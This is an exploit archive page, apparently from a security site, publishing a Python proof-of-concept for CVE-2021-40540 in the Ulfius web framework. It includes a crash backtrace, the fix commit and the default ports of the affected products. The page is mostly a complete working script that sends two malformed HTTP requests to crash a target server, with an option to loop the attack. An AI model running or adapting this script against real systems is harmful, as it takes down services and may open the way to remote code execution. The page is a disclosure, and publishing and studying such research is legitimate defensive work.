Ulfius Web Framework Remote Memory Corruption

Authored by Jeremy Brown

Posted Sep 14, 2021

Ulfius Web Framework suffers from a remote memory corruption vulnerability. When parsing malformed HTTP requests, a heap-related initialization bug is triggered resulting in a crash in the server or potentially remote code execution with privileges of the running process.

tags | exploit, remote, web, code execution
advisories | CVE-2021-40540
SHA-256 | bcece9074fff2d52274f17c6d4979214834ae5a855709f997bd265bfd66f6259 Download | Favorite | View

Related Files

Change Mirror Download

```
#!/usr/bin/python3
#
# guul.py
#
# Ulfius Web Framework Remote Memory Corruption Vulnerability
#
# Jeremy Brown
# Sept 2021
#
# Intro
#
# Ulfius Web Framework is used by a number of different projects to build web services. Some of the projects
# tested and confirmed vulnerable are Glewlwyd SSO Server, Taliesin Audio Streaming Service and Lebiniou Music
# Visualization Suite (web UI).
#
# When parsing malformed HTTP requests, a heap-related initialization bug is triggered resulting in a crash in
the
# server or potentially remote code execution with privileges of the running process. The affected process
crashes
# with either a SIGSEGV or SIGARBT + "double free" error. This repro doesn't consistently trigger the latter
condition
# though and it may take many tries / variations eg. looping a target package so it restarts on crashes and
looping
# it to send many payloads or just fuzzing the crashing requests to get it in the right state.
#
# CVE-2021-40540
#
# Demo
#
# $ ./guul.py 10.0.0.2 --loop
#
# $ while :; do glewlwyd 2>&1 > /dev/null; done
# ....
# Segmentation fault (core dumped)
# Segmentation fault (core dumped)
# Segmentation fault (core dumped)
# double free or corruption (out)
# Aborted (core dumped)
#
# Debugger
#
# double free or corruption (out)
# Thread 183 "MHD-connection" received signal SIGABRT, Aborted.
#
# (gdb) bt
# 0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
# 1  0x00007ffff7afb859 in __GI_abort () at abort.c:79
# 2  0x00007ffff7b663ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7c90285 "%s\n")
    # at ../sysdeps/posix/libc_fatal.c:155
# 3  0x00007ffff7b6e47c in malloc_printerr (str=str@entry=0x7ffff7c92670 "double free or corruption (out)") at
malloc.c:5347
# 4  0x00007ffff7b70120 in _int_free (av=0x7ffff7cc1b80 <main_arena>, p=0x7fffe8000090, have_lock=<optimized
out>) at malloc.c:4314
# 5  0x00007ffff766b035 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 6  0x00007ffff766bed8 in MHD_destroy_post_processor () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 7  0x00007ffff7cf14f7 in mhd_request_completed () from /usr/local/lib/libulfius.so.2.7
# 8  0x00007ffff765c670 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 9  0x00007ffff76608d6 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 10 0x00007ffff7664069 in ?? () from /lib/x86_64-linux-gnu/libmicrohttpd.so.12
# 11 0x00007ffff7f57609 in start_thread (arg=<optimized out>) at pthread_create.c:477
# 12 0x00007ffff7bf8293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
#
# Fix
# - commit c83f564c184a27145e07c274b305cabe943bbfaa
#

import os
import sys
import argparse
import random
import time
import signal
import socket

#
# confirmed affected packages
#
GLEWLWYD_PORT = 4593 # glewlwyd
LEBINIOU_PORT = 30543 # apt install lebiniou
TALIESIN_PORT = 8576 # docker run --rm -it -p 8576:8576 -v /tmp/taliesin:/var/cache/taliesin
babelouest/taliesin_x86_64_sqlite_noauth_quickstart

#
# simple requests, but wasn't obvious during fuzzing that it takes two of them to trigger the crash
#
REQ_1 = b'POST / HTTP/1.1\r\rx'
REQ_2 = b'GET / HTTP/1.1\r\r'

class Guul(object):
    def __init__(self, args):
        self.host = args.host
        self.port = args.port
        self.loop = args.loop

        self.sock = None

    def run(self):
        if(self.loop):
            print("sending requests to trigger crash, hit ctrl+c to stop\n")

            while(True):
                if(self.triggerCrash() < 0):
                    return -1
        else:
            print("sending requests to trigger crash\n")

            if(self.triggerCrash() < 0):
                return -1

        print("done\n")

        return 0

    def getSock(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
        except Exception as error:
            print("socket() failed: %s\n" % error)
            return None
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
        return sock

    def connect(self):
        self.sock = self.getSock()

        if(self.sock == None):
            return -1

        try:
            self.sock.connect((self.host, self.port))
        except Exception as error:
            print("connect() failed: %s\n" % error)
            return -1

        return 0

    def prepNext(self, host):
        self.sock.close()

        time.sleep(2)

        if(self.connect() < 0):
            print("connection failed\n")
            return -1

    def sendReq(self, num, req):
        try:
            self.sock.send(req)
        except Exception as error:
            print("failed to send request %d: %s\n" % (num, error))
            return -1

        try:
            self.sock.recv(1024)
        except Exception as error:
            pass # expected as target may stop responding after requests

        return 0

    def triggerCrash(self):
        if(self.connect() < 0):
            print("connection failed\n")
            return -1

        if(self.sendReq(1, REQ_1) < 0):
            return -1

        self.prepNext(self.host)

        if(self.sendReq(2, REQ_2) < 0):
            return -1

        self.sock.close()

        return 0

def stop(signum, frame):
    print("\n\ndone\n")
    sys.exit(0)

def arg_parse():
    parser = argparse.ArgumentParser()

    parser.add_argument("host",
                        type=str,
                        help="target ip")

    parser.add_argument("-p",
                        "--port",
                        type=int,
                        default=GLEWLWYD_PORT,
                        help="target port (default: %d)" % GLEWLWYD_PORT)

    parser.add_argument("-l",
                        "--loop",
                        default=False,
                        action="store_true",
                        help="loop sending the crashing requests for testing")

    args = parser.parse_args()

    return args

def main():
    signal.signal(signal.SIGINT, stop)

    args = arg_parse()

    gg = Guul(args)
    result = gg.run()

    if(result > 0):
        sys.exit(-1)

if(__name__ == '__main__'):
    main()
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed